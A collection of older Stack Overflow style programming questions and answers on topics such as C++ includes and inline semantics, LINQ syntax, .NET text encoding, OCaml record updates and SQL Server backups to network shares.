<iostream> vs. <iostream.h> vs. "iostream.h" <p>When including a header file in C++, what's the difference between...</p> <p>1) including the .h versus not including the .h when wrapping it in &lt; > signs?</p> <pre><code>#include &lt;iostream&gt; vs. #include &lt;iostream.h&gt; </code></pre> <p>2) wrapping the header name in double quotes versus wrapping it in &lt; > signs? </p> <pre><code>#include &lt;iostream.h&gt; vs. #include "iostream.h" </code></pre> <p>Thanks in advance!</p>
<p>In short:</p> <p>iostream.h is deprecated - it is the original Stroustrup version, and iostream is the version from the standards committee. Generally compilers point them both to the same thing, but some older compilers won't have the older one. In some odd cases they will both exist and be different (to support legacy code) and you then must be specific.</p> <p>"" versus &lt;> simply means check the local directories for the header before going to the library (in most compilers).</p>
Using trellis as a framework for managing UI interaction rules <p>Does anyone have experience with <a href="http://pypi.python.org/pypi/Trellis" rel="nofollow">trellis</a>? Looking at it as a framework for defining rules for field interaction and validation in grids and data entry screens.</p>
<p>It seems this project has died. No new stuff to the page has been added to it since your question. Also I think that new language features in Python 2.6 and Python 3 are removing the need of some of the offered constructs.</p>
LINQ - Fluent and Query Expression - Is there any benefit(s) of one over other? <p>LINQ is one of the greatest improvements to .NET since generics and it saves me tons of time, and lines of code. However, the fluent syntax seems to come much more natural to me than the query expression syntax.</p> <pre><code>var title = entries.Where(e =&gt; e.Approved) .OrderBy(e =&gt; e.Rating).Select(e =&gt; e.Title) .FirstOrDefault(); var query = (from e in entries where e.Approved orderby e.Rating select e.Title).FirstOrDefault(); </code></pre> <p>Is there any difference between the two or is there any particular benefit of one over other?</p>
<p>Neither is better: they serve different needs. Query syntax comes into its own when you want to leverage <strong>multiple range variables</strong>. This happens in three situations:</p> <ul> <li>When using the let keyword</li> <li>When you have multiple generators (<em>from</em> clauses)</li> <li>When doing joins</li> </ul> <p>Here's an example (from the LINQPad samples):</p> <pre><code>string[] fullNames = { "Anne Williams", "John Fred Smith", "Sue Green" }; var query = from fullName in fullNames from name in fullName.Split() orderby fullName, name select name + " came from " + fullName; </code></pre> <p>Now compare this to the same thing in method syntax:</p> <pre><code>var query = fullNames .SelectMany (fName =&gt; fName.Split().Select (name =&gt; new { name, fName } )) .OrderBy (x =&gt; x.fName) .ThenBy (x =&gt; x.name) .Select (x =&gt; x.name + " came from " + x.fName); </code></pre> <p>Method syntax, on the other hand, exposes the full gamut of query operators and is more concise with simple queries. You can get the best of both worlds by mixing query and method syntax. This is often done in LINQ to SQL queries:</p> <pre><code>var query = from c in db.Customers let totalSpend = c.Purchases.Sum (p =&gt; p.Price) // Method syntax here where totalSpend &gt; 1000 from p in c.Purchases select new { p.Description, totalSpend, c.Address.State }; </code></pre>
Parsing Atom & RSS in Ruby/Rails? <p>I'm looking for something that will let me parse Atom and RSS in Ruby and Rails. I've looked at the standard RSS library, but is there one library that will auto-detect whatever type of feed it is and parse it for me?</p>
<p>Feedzirra is one of the better options: <a href="http://www.pauldix.net/2009/02/feedzirra-a-ruby-feed-library-built-for-speed.html">http://www.pauldix.net/2009/02/feedzirra-a-ruby-feed-library-built-for-speed.html</a></p> <p>Of course, I'm biased since I wrote it. :)</p>
In Visual Studio, my Design view doesn't load the master page controls. Why? <p>It's just so much <code>HRESULT E_FAIL</code>, if you know what I'm talking about. </p> <p>And if you use Visual Studio, you know what I'm talking about.</p> <p>Similar thread, but not a duplicate: <a href="http://stackoverflow.com/questions/196001/is-the-design-view-for-aspx-pages-in-visual-studio-useful">Is the design view for aspx pages in Visual Studio useful?</a></p> <p>Any insight, including input from Microsoft MVPs (oh, I know you're out there) would be super cool.</p>
<p>There could be some possible reasons.</p> <p>1st is if you have created a web form (aspx) page Nested it with Master Page; and on the child page you registered a control where you have develop your page.</p> <p>in short I want to say that.</p> <p>You nested your child page in the Master page but on that child page you only registered some controls and nothing else. So you can view the master page only on that child page.</p> <p>You can't see the master page on the controller pages.</p> <p>Because Controller pages are just partial pages so they don't load the master page.</p> <p>Master Page &lt;- Child Page &lt;- Registered a control on child page</p> <pre><code>&lt;%@ Register Src="Ctrl_AdminReports.ascx" TagName="Ctrl_AdminReports" TagPrefix="uc1" %&gt; </code></pre> <p>you can only access the master page controls on its direct child.</p>
Why does a pointer change itself during function transition? <p>In the following case I'm calling a <code>Func</code> with pointer passed to it, but in the called function, the parameter shows the pointer value as something totally bogus. Something like below.</p> <pre><code>bool flag = Func(pfspara);--&gt; pfspara = 0x0091d910 bool Func(PFSPARA pfspara) --&gt; pfspara = 0x00000005 { return false; } </code></pre> <p>Why does <code>pfspara</code> change to some bogus pointer? I can't reproduce the problem in debug, only in production.</p> <p>Thanks.</p>
<p>If you are trying to debug optimized code in for example Visual Studio, you cannot always rely on the debugger properly showing the values of variables - especially not if the variable is unused so that the compiler probably optimizes it away.</p> <p>Try running this instead:</p> <pre><code>bool Func(PFSPARA pfspara) { printf("%x\n", pfspara); return false; } </code></pre>
Ruby gem testing before deployment <p>I'm creating a gem which has</p> <ul> <li>several scripts in the bin directory</li> <li>the utility classes in the lib directory</li> <li>and several tests in the test directory</li> </ul> <pre> supertool bin toolA toolB lib supertool supertool.rb helper.rb test tc_main.rb tc_etc.rb </pre> <p>Now, to run the tests before I even install the gem, I have the following snippet at the top of my tests:</p> <pre><code>base = File.basename(Dir.pwd) if base == 'test' || base =~ /supertool/ Dir.chdir('..') if base == 'test' $LOAD_PATH.unshift(Dir.pwd + '/lib') Dir.chdir('test') if base =~ /supertool/ end </code></pre> <p>This seems tedious though, especially if I have to put these in the scripts in the bin directory too. Is there a better way of setting up the environment so we can test gems before they are installed? I'm sure it's something simple that I just can't find. A simple link to the right place would help a lot :)</p>
<p>I'm not sure what you're trying to achieve with that script. It doesn't seem to have anything to do with gems...</p> <p>Is it so that you can run <code>ruby tc_main.rb</code> from within the test directory (or <code>ruby test/tc_main.rb</code> from the base dir), and have it set the load path appropriately? If so, here's a much nicer way:</p> <p>In your test directory, create a <code>test_helper.rb</code> file. In that file, put this</p> <pre><code>$LOAD_PATH &lt;&lt; File.expand_path( File.dirname(__FILE__) + '/../lib' ) </code></pre> <p>And in all your test files, set the first line to</p> <pre><code>require 'test_helper' </code></pre> <p>If you have subdirectories inside your test dir, then files in those subdirs can just do</p> <pre><code>require '../test_helper' </code></pre>
Sanitize output in Rails <p>What is the best solution to sanitize output HTML in Rails (to avoid XSS attacks)?</p> <p>I have two options: white_list plugin or sanitize method from Sanitize Helper <a href="http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html" rel="nofollow">http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html</a> . For me until today the white_list plugin worked better and in the past, Sanitize was very buggy, but as part of the Core, probably it will be under development and be supported for a while.</p>
<p>I recommend <a href="http://code.google.com/p/xssterminate/" rel="nofollow">http://code.google.com/p/xssterminate/</a>.</p>
Alternatives to Toad <p>I'm currently using <a href="http://www.toadsoft.com/">Toad</a> for my day-to-day work on our databases (queries, updates, small scripts, browsing of db objects, etc.).</p> <p>My question is: since my version of Toad is old and buggy, which are the (possibly free, but not necessarily) alternatives to Toad?</p> <p>The database versions we are using are 10g and 9i.</p> <p>Thanks a lot.</p>
<p>Oracle's <a href="http://www.oracle.com/technology/products/database/sql_developer/index.html">SQL Developer</a>.</p>
C# : Characters do not display well when in Console, why? <p>The picture below explains all:</p> <p><img src="http://img133.imageshack.us/img133/4206/accentar9.png" alt="alt text" /></p> <p>The variable textInput comes from <code>File.ReadAllText(path);</code> and characters like : ' é è ... do not display. When I run my UnitTest, all is fine! I see them... Why?</p>
<p>The .NET classes (<code>System.IO.StreamReader</code> and the likes) take UTF-8 as the default encoding. If you want to read a different encoding you have to pass this explicitly to the appropriate constructor overload.</p> <p>Also note that there's not one single encoding called “ANSI”. You're probably referring to the Windows codepage 1252 aka “Western European”. Notice that this is different from the Windows default encoding in other countries. This is relevant when you try to use <code>System.Text.Encoding.Default</code> because this actually differs from system to system.</p> <p>/EDIT: It seems you misunderstood both my answer and my comment:</p> <ol> <li>The problem in your code is that you need to tell .NET what encoding you're using.</li> <li>The other remark, saying that “ANSI” may refer to <em>different</em> encodings, didn't have anything to do with your problem. It was just a “by the way” remark to prevent misunderstandings (well, that one backfired).</li> </ol> <p>So, finally: The solution to your problem should be the following code:</p> <pre><code>string text = System.IO.File.ReadAllText("path", Encoding.GetEncoding(1252)); </code></pre> <p>The important part here is the usage of an appropriate <code>System.Text.Encoding</code> instance.</p> <p>However, this assumes that your encoding is indeed Windows-1252 (but I believe that's what Notepad++ means by “ANSI”). I have no idea why your text gets displayed correctly when read by NUnit. I suppose that NUnit either has some kind of autodiscovery for text encodings or that NUnit uses some weird defaults (i.e. not UTF-8).</p> <p>Oh, and by the way: “ANSI” really refers to the “American National Standards Institute”. There are a lot of completely different standards that have “ANSI” as part of their names. For example, C++ is (among others) also an ANSI standard.</p> <p>Only in some contexts it's (imprecisely) used to refer to the Windows encodings. But even there, as I've tried to explain, it usually doesn't refer to a <em>specific</em> encoding but rather to a class of encodings that Windows uses as defaults for different countries. One of these is Windows-1252.</p>
Scatter Plots in C++ <p>What is the best way to graph scatter plots in C++? </p> <p>Do you write data to a file and use another tool? Is there a library like matplotlib in Python?</p>
<p>I always write out data and then using <a href="http://www.gnuplot.info/">gnuplot</a> to create my graphs. It is by far the best way I have found of producing graphs in a variety of formats: eps, png, jpeg, xpm, you name it.</p> <p><code>gnuplot</code> will do scatter plot very easily. Provided the <code>x</code> and <code>y</code> values are in 2 space-separated columnss, then</p> <pre><code>plot "data.txt" using 1:2 </code></pre> <p>Will give you a quick scatter plot. Then you can adjust it and what not using other gnuplot commands. </p> <p>If you are involved in sciences, then learning <code>gnuplot</code> will be very valuable to you. It kicks the crap out of doing excel plots for sure and it eases the task of making plots to include in papers.</p>
JSON call + .net works in debug mode on inbuilt web server but not by going to virtual dir directly <p>I have the following javascript:</p> <p>$.ajax({ <BR> type: "POST", <BR> dataType: "json",<BR> url: "/Home/Submit",<BR> data: { email: strEmail, message: strMessage },<BR> success: function(result) <BR> {<BR> //alert('here');<BR> alert(result.message);<BR> },<BR> error: function(error) {<BR> alert(error);<BR> }<BR> });<BR> <BR> This makes a call to this function:<BR> <BR> public JsonResult Submit(string Email, string Message)<BR> {<BR> <BR> return Json(new {message="yep"});<BR> }<BR></p> <p>This works fine in debug mode on the inbuilt webserver.</p> <p>However if I go to the virtual dir directly it does not and hits the error bit. I attached to the process and the code behind never gets hit. </p> <p>I am using Vista. </p> <p>Additionally how do you get the error description in the bit where it says alert(error);</p> <p>Thanks,</p> <p>Alex</p>
<p>is your virtual server running on Windows 2003 and IIS 6.0? Or is it Windows 2008 and IIS 7.0. Also the inbuilt server you are talking about is it the Visual Studio server or IIS 7.0 from Windows Vista? This all matters. With IIS 6.0 you need to run all requests through .NET with a wildcard. </p>
Available iPhone Web Application JavaScript UI Library/Frameworks <p>I'm starting a web application that will target Mobile Safari on iPhone/iPod Touch. I'm evaluating the available client-side JavaScript/CSS libraries/frameworks that are currently out there.</p> <p>These are the ones I'm currenlty aware of:</p> <ul> <li><a href="http://code.google.com/p/iui/">iUI</a></li> <li><a href="http://code.google.com/p/ciui-dev">CiUI</a></li> <li><a href="http://code.google.com/p/iphone-universal/">UiUIKit</a></li> <li><a href="http://webapp.net.free.fr/">WebApp.Net</a></li> <li><a href="http://snippetspace.com/projects/iwebkit/">iWebKit</a></li> <li><a href="http://developer.apple.com/documentation/AppleApplications/Conceptual/Dashcode_UserGuide/Contents/Resources/en.lproj/Introduction/chapter_1_section_1.html">Apple's Dashcode Application</a> - not really a standalone library/framework, but it provides/generates JavaScript, CSS, and images that conform to the native iPhone UI metaphors.</li> </ul> <p>Are there any others out there? I want to make sure I'm not missing any before I make a decision. I'm only looking for client-side JavaScript/CSS solutions and building one from scratch isn't an option because of time constraints. No server-side PHP, Ruby, Python, Java, etc. solutions.</p> <p>I am aware of the <a href="http://stackoverflow.com/questions/8756/iphone-web-applications-templates-frameworks">iPhone web applications, templates, frameworks?</a> question that was asked, but this only mentioned iUI and UiUIKit.</p> <p>Thank you</p>
<p>Old question, but still relevant. Sencha (the new name of the company behind ExtJs) just released the mobile app platform Sencha Tounch for iPhone, iPod, iPad and Android: <a href="http://www.sencha.com/products/touch/">http://www.sencha.com/products/touch/</a></p> <p>Blog post that explains the difference between jQTouch and Sencha Touch: <a href="http://9-bits.com/post/723711597/jqtouch-and-sencha-touch">http://9-bits.com/post/723711597/jqtouch-and-sencha-touch</a></p> <p>Update: John Resig recently announced that the jQuery team is working on a mobile UI library. Looks promising: <a href="http://jquerymobile.com/2010/08/announcing-the-jquery-mobile-project/">http://jquerymobile.com/2010/08/announcing-the-jquery-mobile-project/</a></p>
What type for an integer of more than 4 bytes? <p>I have to use unsigned integers that could span to more than 4 bytes, what type should I use?</p> <p>PS Sorry for the "noobism" but that's it :D</p> <p>NB: I need integers because i have to do divisions and care only for the integer parts and this way int are useful</p>
<p>Simply include &lt;stdint.h&gt; and use int64_t and uint64_t (since you want unsigned, you want uint64_t).</p> <p>There are several other useful variants on that header, like the least variants (uint_least64_t is a type with at least 64 bits) and the fast variants (uint_fast64_t is the fastest integer type with at least 64 bits). Also very useful are intptr_t/uintptr_t (large enough for a void * pointer) and intmax_t/uintmax_t (largest type).</p> <p>And if for some reason your compiler doesn't have a &lt;stdint.h&gt; (since IIRC it's a C standard, not a C++ one), you can use Boost's <a href="http://www.boost.org/doc/libs/1_36_0/libs/integer/cstdint.htm">boost/cstdint.hpp</a> (which you can use even if you do have a &lt;stdint.h&gt;, since in that case it should simply forward to the compiler's header).</p>
C++ Coding Guideline 102 <p>If you were allowed to add another coding guideline to the 101 guidelines of the <a href="http://www.gotw.ca/publications/c++cs.htm">"C++ coding standards" (Herb Sutter and Andrei Alexandrescu)</a>, which would you add?</p>
<p>Write for a year later.</p>
What's the difference between a parent and a reference property in Google App Engine? <p>From what I understand, the parent attribute of a db.Model (typically defined/passed in the constructor call) allows you to define hierarchies in your data models. As a result, this increases the size of the entity group. However, it's not very clear to me why we would want to do that. Is this strictly for ACID compliance? I would like to see scenarios where each is best suited or more appropriate.</p>
<p>There are several differences:</p> <ul> <li>All entities with the same ancestor are in the same entity group. Transactions can only affect entities inside a single entity group.</li> <li>All writes to a single entity group are serialized, so throughput is limited.</li> <li>The parent entity is set on creation and is fixed. References can be changed at any time.</li> <li>With reference properties, you can only query for direct relationships, but with parent properties you can use the .ancestor() filter to find everything (directly or indirectly) descended from a given ancestor.</li> <li>Each entity has only a single parent, but can have multiple reference properties.</li> </ul>
How to load text of MS Word document in C# (.NET)? <p>How do I load MS Word document (.doc and .docx) to memory (variable) without doing this?:</p> <p><em>wordApp.Documents.Open</em> </p> <p>I don't want to open MS Word, I just want that text inside. </p> <p>You gave me answer for DOCX, but what about DOC? I want free and high performance solution - not to open 12.000 instances of Word to process all of them. :( Aspose is commercial product, and 900$ is a way too much for what I do.</p>
<p>You can use wordconv.exe which is part of the Office Compatibility Pack to convert from doc to docx.</p> <p><a href="http://www.microsoft.com/downloads/details.aspx?familyid=941b3470-3ae9-4aee-8f43-c6bb74cd1466&amp;displaylang=en" rel="nofollow">http://www.microsoft.com/downloads/details.aspx?familyid=941b3470-3ae9-4aee-8f43-c6bb74cd1466&amp;displaylang=en</a></p> <p>Just call the command like so: "C:\Program Files\Microsoft Office\Office12\wordconv.exe" -oice -nme InputFile OutputFile</p> <p>I'm not sure if you need word installed for it to run but it does work. I use it locally as a windows shell command to convert old office files to 2007 format whenever I want.</p>
Can record field updates in OCaml be generalized? <p>I'm a very novice OCaml programmer so please forgive me if this is a stupid/obvious question. There's <em>a lot</em> to absorb and I may have missed this in the documentation.</p> <p>I have a base of code that's starting to look like this:</p> <pre><code>let update_x p x = add_delta p; p.x &lt;- x; refresh p let update_y p y = add_delta p; p.y &lt;- y; refresh p let update_z p z = add_delta p; p.z &lt;- z; refresh p </code></pre> <p>The duplication is starting to bug me because I <em>want</em> to write something like this:</p> <pre><code>let update_scalar p scalar value = add_delta p; magic_reflection (p, scalar) &lt;- value; refresh p </code></pre> <p>This way when I update x I can simply call:</p> <pre><code>update_scalar p 'x' value </code></pre> <p>This calls out "macros!" to me but I don't believe OCaml has a macro system. What else can I do?</p>
<p>You can't do quite what you want, but you can greatly reduce the boilerplate with a higher-order function:</p> <pre><code>let update_gen set p x = add_delta p; set p x; refresh p let update_x = update_gen (fun p v -&gt; p.x &lt;- v) let update_y = update_gen (fun p v -&gt; p.y &lt;- v) let update_z = update_gen (fun p v -&gt; p.z &lt;- v) </code></pre> <p>OCaml does have a macro system (camlp4) and it does allow you to implement this kind of thing, with some work.</p>
Installing and configuring a barebones email server on Ubuntu <p>I've got an unmanaged Linux VPS running ubuntu that I'm using for the web server for a personal website. I'd like to get a barebones email server up and running. All the installation guides I've found so far are for a full-fledged email server with a webmail interface and everything. That's a lot more than I need. There's only two things I need:</p> <ul> <li>My web application needs to be able to send email. Specifically, it'll be emailing me when an exception occurs.</li> <li>I want all email sent to [anything]@domain.com forwarded to my personal gmail account. The server doesn't even need to retain the email or anything.</li> </ul> <p>I want to reserve resources for the actual web app, so I don't want to install anything I won't need for this.</p>
<p><a href="http://msmtp.sourceforge.net/" rel="nofollow">msmtp</a> or <a href="http://untroubled.org/nullmailer/" rel="nofollow">nullmailer</a> sounds like it would fit the bill for the former. You could use google mail for domains for the latter.</p>
How do I create a temporary file with Cocoa? <p>Years ago when I was working with C# I could easily create a temporary file and get its name with this function:</p> <pre><code>Path.GetTempFileName(); </code></pre> <p>This function would create a file with a unique name in the temporary directory and return the full path to that file. </p> <p>In the Cocoa API's, the closest thing I can find is:</p> <pre><code>NSTemporaryDirectory </code></pre> <p>Am I missing something obvious or is there no built in way to do this?</p>
<p>A safe way is to use <a href="http://developer.apple.com/documentation/Darwin/Reference/ManPages/man3/mktemp.3.html">mkstemp(3)</a>.</p>
gcc error: wrong ELF class: ELFCLASS64 <p>I was trying to compile a program using an external compiled object coreset.o. I wrote the public01.c test file and my functions are in computation.c, both of which compiles. However its failing on linking it together. What might be the problem?</p> <pre><code>gcc -o public01.x public01.o computation.o coreset.o ld: fatal: file coreset.o: wrong ELF class: ELFCLASS64 ld: fatal: File processing errors. No output written to public01.x collect2: ld returned 1 exit status </code></pre>
<p>I think that coreset.o was compiled for 64-bit, and you are linking it with a 32-bit computation.o.</p> <p>You can try to recompile computation.c with the '-m64' flag of <a href="http://www.manpagez.com/man/1/gcc-3.3/">gcc(1)</a></p>
What is the best method of getting the key of the last added array item in PHP? <p>Is there a better way to do the following:</p> <pre><code>$array = array('test1', 'test2', 'test3', 'test4', 'test5'); // do a bunch of other stuff, probably a loop $array[] = 'test6'; end($array); echo key($array); // gives me 6 </code></pre> <p>This will give the key of the most recently add array element.</p> <p>Is there a better way to do this?</p>
<p>You could also do:</p> <pre><code>$end = end(array_keys($array)); </code></pre> <p>But I think your way makes it clear what you want to do, so you could whip something up like:</p> <pre><code>function array_last_key($array) { end($array); return key($array); } </code></pre> <p>That's about it.</p>
AJAX.Request POST body not send <p>I'm trying to create a POST request, unfortunately the body of the POST never seems to be sent.</p> <p>Below is the code that I'm using. The code is invoked when a user clicks on a link, not a form "submit" button. It runs without error, invokes the servlet that is being called but, as I mentioned earlier, the body of the POST never seems to be sent.</p> <p>I can validate that the request body is never sent since I have access to the servlet being called.</p> <p>I've tried using "parameters" in replace of "requestBody." I've also tried using a parameter string (x=a?y=b). I've also validated that "ckULK" does contain a valid value.</p> <p>Any ideas?</p> <pre><code>new Ajax.Request(sURL, { method: 'POST' , contentType: "text/x-json" , requestBody: {ulk:ckULK} , onFailure: function(transport) { vJSONResp = transport.responseText; var JSON = eval( "(" + vJSONResp + ")" ); updateStatus(JSON.code + ": " + JSON.message); } // End onFailure , onSuccess: function(transport) { if (200 == transport.status) { vJSONResp = transport.responseText; } else { log.value += "\n" + transport.status; } } // End onSuccess }); // End Ajax.request </code></pre>
<p>These are the kind of situations where Firebug and Firefox are really helpful. I suggest you install Firebug if you don't have it and check the request that is being sent.</p> <p>You also definitely need to stick to <code>parameters</code> instead of <code>requestBody</code>.</p> <p>This:</p> <pre><code>new Ajax.Request(sURL, { method: 'POST', parameters: 'hello=world&amp;test=yes', onFailure: function(transport) { vJSONResp = transport.responseText; var JSON = eval( "(" + vJSONResp + ")" ); updateStatus(JSON.code + ": " + JSON.message); }, onSuccess: function(transport) { if (200 == transport.status) { vJSONResp = transport.responseText; } else { log.value += "\n" + transport.status; } } }); </code></pre> <p>Should definitely work.</p>
Searching for file dependency for nunit unit testing <p>I had a winforms C# class that internally was looking up a file.. to help unit test, i changed it to pass in a file from the outside such as:</p> <p>string file = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location + "TestXML.xml");</p> <p>Foo = new Foo(file);</p> <p>the problem is that the code works fine normally but when run in Nunit it comes us with an error saying "Cant find directory C:\doc &amp; settings\ . . .. testxml.xml</p> <p>any thoughts?</p>
<p>I would set a breakpoint and then use the immediate window to find out what is getting passed to GetDirectoryName. It probably isn't what you intended.</p>
Tool for Viewing X.509 Certificates? <p>Does anyone know of any good tools to view the store name, store location, or values of an X.509 Certificate?</p>
<p><a href="http://portecle.sourceforge.net/">Portecle</a> is cross-platform (written in Java), requires no installation and can not only read certificates and keystores but also create, modify, import/export etc.</p>
Sql Server Backup to UNC <p>I've create a maintenance plan on my SQL Server 2005 server. The backup should be written to another server. I'm using a UNC path for this. The user running the SQL Agent jobs has full access to the other server. It's admin on both servers.</p> <p>The problem is that this statement fails ( has the correct server name ofcourse):</p> <blockquote> <p>EXECUTE master.dbo.xp_create_subdir N'\\servername\c$\SqlServerBackup\Test'</p> </blockquote> <p>The error I get is: Msg 22048, Level 16, State 1, Line 0 xp_create_subdir() returned error 123, 'The filename, directory name, or volume label syntax is incorrect.'</p> <p>Does anyone know what could be the problem?</p>
<p>After having this problem myself, with none of the above solutions being clear enough, I thought I'd post a clearer response. The error is in fact nothing to do with syntax - it is entirely to do with permissions. The important thing here is that it is the SQL Server service account, NOT the SQL Server Agent account, that attempts to log in to create the directory. You can check your Event Viewer on the target server and look at the security log to see the failed logins from the SQL Server account on the other machine (mine was running as a local administrator).</p> <p>To solve this, set your SQL Server service account to be a domain user that's allowed to write to the remote share. I would have expected SQL Server Agent to be able to use its own credentials to perform these backup operations, but apparently not!</p>
OOP: Where to stop Abstracting <p>Where do you draw the line to stop making abstractions and to start writing sane code? There are tons of examples of 'enterprise code' such as the dozen-file "FizzBuzz" program... even something simple such as an RTS game can have something like:</p> <pre><code>class Player {} ;/// contains Weapons class Weapons{} ;/// contains BulletTypes class BulletType{} ;///contains descriptions of Bullets class Bullet{} ;///extends PlaceableObject and RenderableObject which can be placed/drawn respectively class PlaceableObject{} ;///has x,y,z, coords class RenderableObject{} ;///an object with a draw() command class MovingObject{}; ///an object with a move() function </code></pre> <p>etc... and it can turn into a nightmare. This can be drawn to its logical extreme, much like functional programming can be drawn to the extreme where you can create a language with only variables, function application, and anonymous function definitions (although I must admit that is slightly more elegant)... </p> <p>Any sane advice on this topic?</p>
<ol> <li><strong>YAGNI (You Ain't Gotta Need It).</strong> Don't create abstractions you don't see immediate use for or a sensible reason. This way you have a simple thing that may become more complex, instead of a complicated things that you would strive to make simpler, but lose.</li> <li>Make sure the abstractions make sense. If they're too far from reality, too hard to justify... forget it.</li> <li>Let the solution feel natural. Work on it until it does. Then for an unfamiliar person the solution should seem so obvious, that he screams "how could you have done it differently?".</li> <li><strong>Don't try to predict the future.</strong> You can't. If you try to cover all 10 possible cases, you will soon discover 11th and more, and it will be more difficult to implement it because of previous 10, not encountered in practice. <strong>Make it simple and easy to adapt.</strong> Software needs to be changed, but ease of adaptation (agility) is often much better strategy than trying to cover all maybe-possible cases up-front.</li> </ol>
Charts in webpages <p>What I'd like to accomplish is to present charts on webpages. For example aspx pages gridviews that present a two column table are able to be copied &amp; placed into Excel then a chart created. The pages I currently use most are ASP.NET 3.0 or SharePoint team sites with stored procedures. People are very interested in how people perform chats in webpages. </p> <p>Thanks in advance, Catto</p>
<p>The Google Chart API makes it easy to embed charts into web pages. No server-side install needed, at all.</p> <p><a href="http://code.google.com/apis/chart/" rel="nofollow">http://code.google.com/apis/chart/</a></p>
Cross Domain User Tracking <p>We have several websites on different domains and I'd like to be able to track users' movements on these sites.</p> <ul> <li>Obviously cookies are not feasable, because they don't cross domain borders. </li> <li>I could look at a combination of IP address and User Agent, but there are some cases where that does not work.</li> <li>I don't want to use flash or other plugins.</li> </ul> <p>Any ideas? Or am I doomed to rely on the IP/User_Agent combination?</p>
<p>You can designate one domain or subdomain to tracking and have it serve a 1x1 pixel image which you include in all pages you would like to track. Serve a cookie with the image, look at the tracking domain's server logs, voilà.</p>
GCC and ld can't find exported symbols...but they're there! <p>I have a C++ library and a C++ application trying to use functions and classes exported from the library. The library builds fine and the application compiles but fails to link. The errors I get follow this form:</p> <blockquote> <p>app-source-file.cpp:(.text+0x2fdb): undefined reference to `lib-namespace::GetStatusStr(int)'</p> </blockquote> <p>Classes in the library seem to be resolved just fine by the linker, but free functions and exported data (like a cosine lookup table) invariably result in the above error.</p> <p>I am using Ubuntu 8.04 (Hardy), and it is up to date with the latest Unbuntu packages.</p> <p>The command to link the library is (with other libraries removed):</p> <pre><code>g++ -fPIC -Wall -O3 -shared -Wl,-soname,lib-in-question.so -o ~/project/lib/release/lib-in-question.so </code></pre> <p>The command to link the application is (with other libraries removed):</p> <pre><code>g++ -fPIC -Wall -O3 -L~/project/lib/release -llib-in-question -o ~/project/release/app-in-question </code></pre> <p>Finally, it appears (as best as I can tell) that the symbols in question are being exported properly:</p> <pre><code>nm -D ~/project/lib/release/lib-in-question.so | grep GetStatusStr --&gt; U _ZN3lib-namespace12GetStatusStrEi </code></pre>
<p>the U before _ZN3lib-namespace12GetStatusStrEi in the nm output shows that the symbol is <strong>undefined</strong> in the library.</p> <p>Maybe it's defined in the wrong namespace: it looks like you're calling it in lib-namepace but you might be defining it in another.</p>
How can replace the string [Foo alloc]<cursor> with [[Foo alloc]<cursor>] <ul> <li>Is there a key shortcut for this in XCode?</li> <li>Can I implement an Applescript for this and run it within XCode?</li> </ul>
<p>You can probably do that using a script (check out the relevent piece of Xcode documentation). Also see the "Insert Text Macro" menu item…</p> <p>But you might find it to be more efficient to just use the auto-correct feature. I just type "[[F", then hit my auto-correct key (bound to F5 I believe, but I've changed it), type enough of the class name for it to be selected in the autocorrect popup. Hit space, start typing alloc but let auto correct kick in. Close the brace. Start typing init, use autocorrect again.</p> <p>You generally shouldn't need to create macros/scripts for something this trivial. The autocorrect, placeholders and autofill features should be all you really need.</p>
NHibernate custom SQL object creation <p>Somewhat-simplified example situation: I have entities A and B which are incredibly "heavy" domain objects. Loading one from the database is a pretty big deal. Then I have an entity C, which is a very simple object that has a label string, one A, and one B -- both lazy.</p> <p>I'm doing some low-level querying to create huge lists of C, so I know exactly what IDs I need to save for C.A and C.B, but I <em>don't</em> want to load up entire objects and set them to the properties, because the overhead is insane.</p> <p>Instead, I want to just insert the IDs directly into my C entities, and then let the A and B properties on it be fully loaded later only if needed.</p> <p>I see the <code>&lt;sql-insert/&gt;</code> tag in the documentation, but the section is <em>really</em> sparse. </p> <p>Is there any way to do what I want to do inside the NHibernate framework, or should I just do raw SQL? I'm trying to keep database portability if possible, which makes me shy away from the raw option. Seems like there's got to be a better way I'm missing.</p>
<p>I don't know if NHibernate allows this (separate objects on same base data) but usually I make "digest" objects which can be upconverted into the full-blown objects (even with lazy loading on the full-blown objects). I usually do this with code-gen'd or manual ORM layers.</p> <p>Large collections are usually of digests, and then if the properties or methods needed aren't exposed by the digest, they are upconverted into complete objects for the call, or to be passed etc.</p>
extern inline <p>I understand that "inline" by itself is a suggestion to the compiler, and at its descretion it may or may not inline the function, and it will also produce linkable object code.</p> <p>I think that "static inline" does the same (may or may not inline) but will not produce linkable object code when inlined (since no other module could link to it).</p> <p>Where does "extern inline" fit into the picture?</p> <p>Assume I want to replace a preprocessor macro by an inline function and require that this function gets inlined (e.g., because it uses the __FILE__ and __LINE__ macros which should resolve for the caller but not this called function). That is, I want to see a compiler or linker error in case the function does not get inlined. Does "extern inline" do this? (I assume that, if it does not, there is no way to achieve this behavior other than sticking with a macro.)</p> <p>Are there differences between C++ and C?</p> <p>Are there differences between different compiler vendors and versions?</p>
<p>in K&amp;R C or C89, inline was not part of the language. Many compilers implemented it as an extension, but there were no defined semantics regarding how it worked. GCC was among the first to implement inlining, and introduced the <code>inline</code>, <code>static inline</code>, and <code>extern inline</code> constructs; most pre-C99 compiler generally follow its lead. </p> <h1>GNU89:</h1> <ul> <li><code>inline</code>: the function may be inlined (it's just a hint though). An out-of-line version is always emitted and externally visible. Hence you can only have such an inline defined in one compilation unit, and every other one needs to see it as an out-of-line function (or you'll get duplicate symbols at link time).</li> <li><code>static inline</code> will not generate a externally visible out-of-line version, though it might generate a file static one. The one-definition rule does not apply, since there is never an emitted external symbol nor a call to one.</li> <li><code>extern inline</code> will not generate an out-of-line version, but might call one (which you therefore must define in some other compilation unit. The one-definition rule applies, though; the out-of-line version must have the same code as the inline offered here, in case the compiler calls that instead.</li> </ul> <h1>C99 (or GNU99):</h1> <ul> <li><code>inline</code>: like GNU "extern inline"; no externally visible function is emitted, but one might be called and so must exist</li> <li><code>extern inline</code>: like GNU "inline": externally visible code is emitted, so at most one translation unit can use this.</li> <li><code>static inline</code>: like GNU "static inline". This is the only portable one between gnu89 and c99</li> </ul> <h1>C++:</h1> <p>A function that is inline anywhere must be inline everywhere, with the same definition. The compiler/linker will sort out multiple instances of the symbol. There is no definition of <code>static inline</code> or <code>extern inline</code>, though many compilers have them (typically following the gnu89 model).</p>
